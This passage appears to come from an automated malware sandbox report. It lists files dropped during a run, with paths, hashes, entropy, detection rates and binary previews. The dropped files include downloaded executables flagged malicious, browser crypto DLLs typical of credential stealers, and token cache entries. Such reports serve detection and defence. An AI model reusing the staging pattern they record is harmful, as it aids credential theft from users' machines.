SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cfcc02d2-ed1b-4a0d-9134-a3a5dfb95150.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46404
Entropy (8bit):	6.087504996628899
Encrypted:	false
SSDEEP:	768:3MkbJrT8IeQcrQgxKvK/i1zNtWWwJH9UY5ePUFPyF36LbQQkHX1hcCioMJDSgzMP:3Mk1rT8HRKdwRnL0THUFoMtSmd6qE7p
MD5:	832D471B12CCF1F44AABD4AC120C8545
SHA1:	F2DDC6A23E01401A61A76BF1B1FA58DD5AE36492
SHA-256:	2497613D3A69C54B88957BCD261813352AF38D542519119F7A462A5FAC0FC84F
SHA-512:	8318EDFCBF4EB09EB51BAE1AB03C0862B0E06BD66AD73A5615379DEA39D1C52926E4604D1288E210FD3CABA4B73957AD93775F75831A800939789CEA42F91A64
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376374886095357","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"02abbace-7fcc-4c5f-bbec-1092e20d34df"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731901290"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d0ad25d7-82fe-4240-821c-bc46d34de1fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44980
Entropy (8bit):	6.09576792638057
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWbEi1zNtWWwJH9UY5ePUFPyF36KJDSgzMMd6qD47uC:+/Ps+wsI7yOQwRnKtSmd6qE7lFoC
MD5:	EBE4C19DD2D183F518BC8EFCEA4D7C0B
SHA1:	4C9FA6D1F8AB2E8364C6ECCF1F7A0FBB8845256B
SHA-256:	25C95360DC3149EA9D250ABA6D933A03CAF953FBEFA69A88B074CB84BD7B3020
SHA-512:	9DC302BC73648E2DD58571ABE25732D23DD3E91A8560DF403000735AC2CF8EDF76EBF4C685D7D7E8CE468CAECD0066F1CB8A91247D7456952051349AA12BBD91
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8431794155919747
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx1Bxl9Il8uguUjaXSqMK4OuJWyJrIAd1rc:mu1Y+jafMLOYN1I3
MD5:	77063FD0ADDF1EABA92EB39C559AE505
SHA1:	E12753CF760954A72CBF27226101108F433C3270
SHA-256:	4B4422A705C09568759FE9FDF65131AA3C235F424A2AFA3B0197F01C0C635A67
SHA-512:	6FB9E516646B8946B7E6F444351CFFB1D4ED45B789A436C5E12704B9236576EE1D776123844BC6D349B75C9C6585AEC74894CDAE645B7FF5D00D758A9032ED47
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.n.G.I.n.Q.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.A.7.R.y.G.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001323253800442
Encrypted:	false
SSDEEP:	96:kXY+397OsZXi6cSHp619lUOu/uD5XMhO9bnPu3YD0q:EN97BpgNu/udXDRLJ
MD5:	D95499B1656CEB2AD25E754D90AC6162
SHA1:	56AA2BD9826603E2ADECCAD3177BF527045F3617
SHA-256:	32042B048A4191AC9EB2742E1FB27C5E3D2AD6671421A32AE3602E26F1D345D7
SHA-512:	D04AE9B9FA7C244974D2B197E52FC33F3893E643E16046848D386D3E413A0572786B6DF9D2585BDCA8D05182C8250B883FF650314E6F08E1EF046E431458C20A
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".f.q.H.i.B.2.w.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.A.7.R.y.G.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9044278667274845
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xcxl9Il8uguUlXUaKilJeV3SjeSq09UD/ZN3T93Und/vc:aGY+1UaKbiKf09WD3T93US
MD5:	DC2578B49407C515C45A582834A18718
SHA1:	F99B9562A72677DB9462148D6170C37670A917D2
SHA-256:	A70C042E543D0A4C2A5E4227E65EDA31808ADBC4EA33F6E34FEB15B140F6AB3A
SHA-512:	C595381DD87BDC6171AF9BCD4EC88D0367402B2E2F7B9F0969F6DEB98DA8070733AE2AFEB09672539BB26FA5FC38E99447950FD82800A03C19A8C40722A6D806
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.y.3.Z.O.D.1.Y.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.A.7.R.y.G.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.387911369547261
Encrypted:	false
SSDEEP:	96:6NnQWHQZNnQcbQoNnQ70z9Q7sNnQP0kdgEQPgNnQL0QgNnQMDQvNnQ0wQ3NnQH3m:6NKN9NNN40kqgNAQNZsNbTNp
MD5:	5C85C6F6E51ADD2BBD6F19571F893B07
SHA1:	FC41FE878F5FDE8AB7F9C49385AC1B220B128C02
SHA-256:	1D86840694A45DFA9160CB321AE6ED0E34671C47B8CE14F87DE5160BE53A293F
SHA-512:	0DE33CA971F1D210FE913FE33E2280AFA7F00B588D8363BB4B39867D273E478DD9A9F279A8F8311F5B3601A22D205390521836A3CC639EA8BA8FCA5BEC3FB25D
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/12318F6AECF7952A5745E3F577615877",.. "id": "12318F6AECF7952A5745E3F577615877",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/12318F6AECF7952A5745E3F577615877"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B42CEC215DFA7B0F1B22042A616BD33E",.. "id": "B42CEC215DFA7B0F1B22042A616BD33E",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B42CEC215DFA7B0F1B22042A616BD33E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.5925369023915685
Encrypted:	false
SSDEEP:	24576:7qDEvCTbMWu7rQYlBQcBiT6rprG8aGzW:7TvC/MTQYxsWR7aGz
MD5:	8896D694E42A7760489ADCDDF79CB375
SHA1:	572FCD9CCD678B9F62618E2D119F595ACA276FCD
SHA-256:	C99B8AEB0F16D3BBBFF6A38BED88ADB5280B4C20AD3AF15B87F4785C6F41CA17
SHA-512:	0BD87597C98FE2E1910F5083E3258D6C0B3116667CECA437C46D4D78B74F9C0A1384F70B5411E1BC0D7EC2025938D397929E79D48DBFA324A5A318883E0821B0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....:g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.946595403757246
Encrypted:	false
SSDEEP:	49152:BcPkKYK/QWasWmylC6lFDOI9czmUVoxUF69v:BcOIQboyl9FDOIemWoxK69v
MD5:	9C292208017062C4D09720F198405A75
SHA1:	58FE6E3FF91F890537887E47CF68D8276D9F30EC
SHA-256:	678F3FF74A341BC6D6BFF5F334508E4EA8305ABA0E33C134FD5B0AF3CD957D87
SHA-512:	8DEB6B92EBA12CF9603A9E586489D57B2EF67A919CA0BD123F1F74D489C0BCEB0E1E09AD7245DBF4D0F4AE47AE3C379B5380E95B88DB4B46869ED39499E84F9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@...........................J.....E.....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..*.........................@...ozsfgbmb......0.....................@...adwhoacu......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2800128
Entropy (8bit):	6.463357190986646
Encrypted:	false
SSDEEP:	49152:BdyLkDUgnJJOnteWd3dyNeifut9Vm1rN:0kDU4wnteWRdFDt9Vm1
MD5:	CECF8FE4AA89F17D215786C4CD5515AA
SHA1:	D41CB203E39A82FE41545E1D030CA8F1FC44EBF2
SHA-256:	CFCCF0B1E8F8AB2BE4D51838403D07D56C068B0A500C2AFEB7F38D4176A11713
SHA-512:	5AAB6AF50DA7FC990BD293DB5763C8BAF387AE6F957543B0B4EFC668FA4826FE8EA109EA49EE7C0CCC12F7E64FA00C9DEB52696992C904D66D19982563D219AF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...hinbqzan.`......X..:..............@...bfucfdhf. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.387485439071486
Encrypted:	false
SSDEEP:	48:SfNaoQ1TEQifNaoQUQefNaoQlQIfNaoQi0UrU0U8Qv:6NnQ1TEQKNnQUQGNnQlQUNnQi0UrU0Un
MD5:	D56E8B4E029ADBDA8ACA5296C862387F
SHA1:	F5AD5108E7925CBC315078BD44ECC16A6B52FEE2
SHA-256:	06731532BE395B8691DA6CF0F22FEC43392A2D224F31409636DE595685A6D534
SHA-512:	5C9EE2C1F6B81D1327A8511BC0EB73DDA7526408AE891E5DC0597AFA84EB2D45B9454B582EBD9B274E96942957AD78110143BF86FA2708D0FD4CE810BFF86EF6
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/26C8AAF2B876076635F6118BDB0D5DEF",.. "id": "26C8AAF2B876076635F6118BDB0D5DEF",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/26C8AAF2B876076635F6118BDB0D5DEF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CC1E023A5497A3EB7E11CA80B27B84EC",.. "id": "CC1E023A5497A3EB7E11CA80B27B84EC",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CC1E023A5497A3EB7E11CA80B27B84EC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1946624
Entropy (8bit):	7.94899277809021
Encrypted:	false
SSDEEP:	49152:97ga9jmnMYCBPzyzukY7uy6Go5GwsOrRSvlaqMyc5:90cmnVz+7uVGo5Gwshv
MD5:	8A320F1C2E6D0F0B93453F0ADA342759
SHA1:	E734719B0AD89FA7557DA0BB8608E299F9961E68
SHA-256:	6B9ED1B5F724A42F70456A7584A705517A326C7A0C358542C6AE236812AFA656
SHA-512:	DEBE599EAC585CB011BCD7131DEEC94DC41BE22E1F807D497B8B0257A28304ED7972D2657B3BD0437BB932172AD0B9BCCA93C92F1E12B3139B6549012480A76F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@..........................@M.....#.....@.................................W...k.......H...................<.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...feznedxr.....`2.....................@...batlnaql......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1828352
Entropy (8bit):	7.945672756773012
Encrypted:	false
SSDEEP:	49152:klLNjPFw5g32sE5n4ajOJTbTBwklPefKe/yH00/k:MLND0PQaQbTBwUPeye/yUN
MD5:	CAC804BE5A8C3370120FBDC37E4C6EC7
SHA1:	AD7C2C51C8BE6B3375E32A75B0417F3F0E9166F5
SHA-256:	DD19C480AB45ACF19038EED898ED4E0C39EEC6D9F9A1252F06A740DA920711BC
SHA-512:	D4BEA90ABA4E48AA881C368B0ADA85FEE91224D75B18A405D1E89C22F836C4EC60804A773A8E0B1E1BBD0B0E7071E1C239CC0908E10072CDFBD9DD4096C1CB05
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
